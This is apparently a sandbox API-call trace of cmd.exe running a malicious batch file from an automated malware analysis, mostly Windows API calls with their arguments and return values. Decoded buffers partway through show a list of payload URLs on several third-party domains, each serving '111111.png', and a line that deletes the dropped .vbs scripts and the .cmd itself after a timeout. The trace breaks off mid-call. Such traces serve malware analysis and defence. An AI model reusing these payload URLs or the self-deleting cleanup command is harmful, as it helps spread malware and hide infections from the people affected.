[0233.632] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.632] GetLastError () returned 0x2 [0233.632] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.632] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.632] GetLastError () returned 0x2 [0233.632] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.632] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.632] GetLastError () returned 0x2 [0233.632] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.632] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.633] GetLastError () returned 0x2 [0233.633] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.633] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.633] GetLastError () returned 0x2 [0233.633] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.633] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.633] GetLastError () returned 0x2 [0233.633] ??_V@YAXPEAX@Z () returned 0x1 [0233.633] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.634] GetFileType (hFile=0x54) returned 0x2 [0233.634] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.634] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.634] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.634] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.634] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.634] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.634] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0233.638] ??_V@YAXPEAX@Z () returned 0x1 [0233.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.639] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.639] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.639] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.639] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.640] SetConsoleInputExeNameW () returned 0x1 [0233.640] GetConsoleOutputCP () returned 0x1b5 [0233.640] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.640] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.640] ??_V@YAXPEAX@Z () returned 0x1 [0233.641] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.641] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.641] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.641] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5899, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x170b [0233.641] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956e20) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0233.642] GetProcessHeap () returned 0x20b0f920000 [0233.642] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.644] GetProcessHeap () returned 0x20b0f920000 [0233.644] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94aff0) returned 1 [0233.644] GetProcessHeap () returned 0x20b0f920000 [0233.644] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a230) returned 1 [0233.644] GetProcessHeap () returned 0x20b0f920000 [0233.644] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.644] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.644] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x170b [0233.644] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xaa, lpOverlapped=0x0) returned 1 [0233.644] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5908, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1714 [0233.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.644] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.645] GetFileType (hFile=0x9c) returned 0x1 [0233.645] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.645] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1714 [0233.645] GetProcessHeap () returned 0x20b0f920000 [0233.645] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.645] GetProcessHeap () returned 0x20b0f920000 [0233.645] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.645] _tell (_FileHandle=3) returned 5908 [0233.645] _close (_FileHandle=3) returned 0 [0233.645] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.646] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.646] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.646] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5908, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1714 [0233.646] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.646] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1714 [0233.646] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xa1, lpOverlapped=0x0) returned 1 [0233.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=161, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\r\np.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 161 [0233.646] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.646] GetFileType (hFile=0x9c) returned 0x1 [0233.646] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.646] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17b5 [0233.646] GetProcessHeap () returned 0x20b0f920000 [0233.646] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.647] _wcsicmp (_String1="TIMEOUT", _String2=")") returned 75 [0233.647] _wcsicmp (_String1="FOR", _String2="TIMEOUT") returned -14 [0233.647] _wcsicmp (_String1="FOR/?", _String2="TIMEOUT") returned -14 [0233.647] _wcsicmp (_String1="IF", _String2="TIMEOUT") returned -11 [0233.647] _wcsicmp (_String1="IF/?", _String2="TIMEOUT") returned -11 [0233.647] _wcsicmp (_String1="REM", _String2="TIMEOUT") returned -2 [0233.647] _wcsicmp (_String1="REM/?", _String2="TIMEOUT") returned -2 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f9259d0 [0233.647] _wcsicmp (_String1="DEL", _String2=")") returned 59 [0233.647] _wcsicmp (_String1="FOR", _String2="DEL") returned 2 [0233.647] _wcsicmp (_String1="FOR/?", _String2="DEL") returned 2 [0233.647] _wcsicmp (_String1="IF", _String2="DEL") returned 5 [0233.647] _wcsicmp (_String1="IF/?", _String2="DEL") returned 5 [0233.647] _wcsicmp (_String1="REM", _String2="DEL") returned 14 [0233.647] _wcsicmp (_String1="REM/?", _String2="DEL") returned 14 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.647] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f926ea0 [0233.647] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x18) returned 0x20b0f92a050 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x64) returned 0x20b0f925bc0 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0233.648] _wcsicmp (_String1="DEL", _String2=")") returned 59 [0233.648] _wcsicmp (_String1="FOR", _String2="DEL") returned 2 [0233.648] _wcsicmp (_String1="FOR/?", _String2="DEL") returned 2 [0233.648] _wcsicmp (_String1="IF", _String2="DEL") returned 5 [0233.648] _wcsicmp (_String1="IF/?", _String2="DEL") returned 5 [0233.648] _wcsicmp (_String1="REM", _String2="DEL") returned 14 [0233.648] _wcsicmp (_String1="REM/?", _String2="DEL") returned 14 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92cb10 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x18) returned 0x20b0f929b30 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x6e) returned 0x20b0f94b170 [0233.648] GetProcessHeap () returned 0x20b0f920000 [0233.648] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e0d0 [0233.648] _wcsicmp (_String1="DEL", _String2=")") returned 59 [0233.648] _wcsicmp (_String1="FOR", _String2="DEL") returned 2 [0233.648] _wcsicmp (_String1="FOR/?", _String2="DEL") returned 2 [0233.649] _wcsicmp (_String1="IF", _String2="DEL") returned 5 [0233.649] _wcsicmp (_String1="IF/?", _String2="DEL") returned 5 [0233.649] _wcsicmp (_String1="REM", _String2="DEL") returned 14 [0233.649] _wcsicmp (_String1="REM/?", _String2="DEL") returned 14 [0233.649] GetProcessHeap () returned 0x20b0f920000 [0233.649] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e190 [0233.649] GetProcessHeap () returned 0x20b0f920000 [0233.649] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x18) returned 0x20b0f92a1d0 [0233.649] GetProcessHeap () returned 0x20b0f920000 [0233.649] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x68) returned 0x20b0f923d60 [0233.649] _tell (_FileHandle=3) returned 6069 [0233.649] _close (_FileHandle=3) returned 0 [0233.649] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.649] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.649] GetFileType (hFile=0x50) returned 0x2 [0233.649] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.649] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.653] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.653] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.658] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.658] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.658] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.658] GetFileType (hFile=0x50) returned 0x2 [0233.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.658] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.659] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.659] GetFileType (hFile=0x50) returned 0x2 [0233.659] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.659] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed98 | out: lpMode=0x9cb92fed98) returned 1 [0233.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.660] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fedd8, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fedd8*=0x7) returned 1 [0233.660] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fedd8 | out: _Buffer=" /T 10 ") returned 8 [0233.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.660] GetFileType (hFile=0x50) returned 0x2 [0233.660] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.660] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed68 | out: lpMode=0x9cb92fed68) returned 1 [0233.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.660] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x8, lpNumberOfCharsWritten=0x9cb92feda8, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feda8*=0x8) returned 1 [0233.661] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x9cb92fee08 | out: _Buffer=" & ") returned 3 [0233.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.661] GetFileType (hFile=0x50) returned 0x2 [0233.661] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.661] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed98 | out: lpMode=0x9cb92fed98) returned 1 [0233.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.661] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fedd8, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fedd8*=0x3) returned 1 [0233.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.662] GetFileType (hFile=0x50) returned 0x2 [0233.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.662] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed38 | out: lpMode=0x9cb92fed38) returned 1 [0233.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.662] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f92a060*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fed78, lpReserved=0x0 | out: lpBuffer=0x20b0f92a060*, lpNumberOfCharsWritten=0x9cb92fed78*=0x3) returned 1 [0233.662] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fed78 | out: _Buffer=" C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs ") returned 42 [0233.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.662] GetFileType (hFile=0x50) returned 0x2 [0233.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.662] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed08 | out: lpMode=0x9cb92fed08) returned 1 [0233.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.663] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x9cb92fed48, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fed48*=0x2a) returned 1 [0233.663] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x9cb92feda8 | out: _Buffer=" & ") returned 3 [0233.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.663] GetFileType (hFile=0x50) returned 0x2 [0233.663] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.663] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fed38 | out: lpMode=0x9cb92fed38) returned 1 [0233.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.664] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fed78, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fed78*=0x3) returned 1 [0233.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.664] GetFileType (hFile=0x50) returned 0x2 [0233.664] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.664] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fecd8 | out: lpMode=0x9cb92fecd8) returned 1 [0233.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.665] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f929b40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fed18, lpReserved=0x0 | out: lpBuffer=0x20b0f929b40*, lpNumberOfCharsWritten=0x9cb92fed18*=0x3) returned 1 [0233.665] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fed18 | out: _Buffer=" C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd ") returned 47 [0233.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.665] GetFileType (hFile=0x50) returned 0x2 [0233.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.665] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feca8 | out: lpMode=0x9cb92feca8) returned 1 [0233.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.665] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2f, lpNumberOfCharsWritten=0x9cb92fece8, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fece8*=0x2f) returned 1 [0233.669] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x9cb92fed48 | out: _Buffer=" & ") returned 3 [0233.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.669] GetFileType (hFile=0x50) returned 0x2 [0233.669] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.669] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fecd8 | out: lpMode=0x9cb92fecd8) returned 1 [0233.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.669] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fed18, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fed18*=0x3) returned 1 [0233.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.670] GetFileType (hFile=0x50) returned 0x2 [0233.670] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.670] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fecd8 | out: lpMode=0x9cb92fecd8) returned 1 [0233.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.670] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f92a1e0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x9cb92fed18, lpReserved=0x0 | out: lpBuffer=0x20b0f92a1e0*, lpNumberOfCharsWritten=0x9cb92fed18*=0x3) returned 1 [0233.670] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fed18 | out: _Buffer=" C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs ") returned 44 [0233.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.671] GetFileType (hFile=0x50) returned 0x2 [0233.671] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.671] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feca8 | out: lpMode=0x9cb92feca8) returned 1 [0233.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.671] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x9cb92fece8, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fece8*=0x2c) returned 1 [0233.671] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.671] GetFileType (hFile=0x50) returned 0x2 [0233.671] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.671] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: 